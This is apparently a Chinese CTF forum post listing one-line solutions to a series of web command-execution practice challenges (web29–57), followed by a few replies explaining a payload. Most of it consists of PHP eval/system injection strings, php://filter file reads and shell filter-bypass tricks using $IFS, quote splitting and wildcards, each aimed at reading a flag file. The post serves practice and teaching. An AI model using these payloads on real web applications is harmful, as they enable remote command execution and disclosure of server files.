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web入门之命令执行

Firebasky

命令执行

​ by Firebasky

web29

echo `nl fl''ag.php`;
查看源代码

web30

echo `nl fl''ag.p''hp`;
查看源代码

web31

show_source(next(array_reverse(scandir(pos(localeconv())))));

c=$a=show_source($_GET[1])?>&1=flag.php

c=eval($_GET[1])?>&1=system('cat flag.php');

c=?><?=`$_GET[1]`;&1=cat flag.php
查看源代码

c=?><?=passthru($_GET[1]);&1=cat flag.php查看源代码

web32

c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web33-36一样

c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36把参数换成字母a

web40

show_source(next(array_reverse(scandir(pos(localeconv())))));

GXYCTF的禁止套娃

通过cookie获得参数进行命令执行

c=session_start();system(session_id());


passid=ls

web41

参考羽师傅wp

web42

payload:

cat flag.php%0a查看源代码

web43

nl flag.php%0a查看源代码

web44

nl fla*.php%0a查看源代码

web45

echo$IFS`tac$IFS*`%0A

web46

nl<fla''g.php||
查看源代码

web47-51

和web46一样

web52

nl$IFS/fla''g||

web53

c''at${IFS}fla''g.p''hp

web54

/bin/?at${IFS}f???????

web55

https://blog.csdn.net/qq_46091464/article/details/108513145

https://blog.csdn.net/qq_46091464/article/details/108557067

web56

https://blog.csdn.net/qq_46091464/article/details/108513145

web57

payload:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

${_} =""  //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1

Firebasky

希望师傅们分享自己的骚姿势呀

hdxw

grep flag flag.php就不用查看网页源码了
或者cat flag.php | grep flag

Jiang

web54 的payload 有大佬解释一下么？

Firebasky

Jiang 这里是使用的cat命令 cat命令是存在/bin/cat 因为默认配置了环境变量使用才可以直接使用cat 但是实际上cat是可以使用 /bin/cat.
后面是${IFS}是表示空格的意思
f???????表示flag.php

Jiang

Firebasky 大佬牛逼！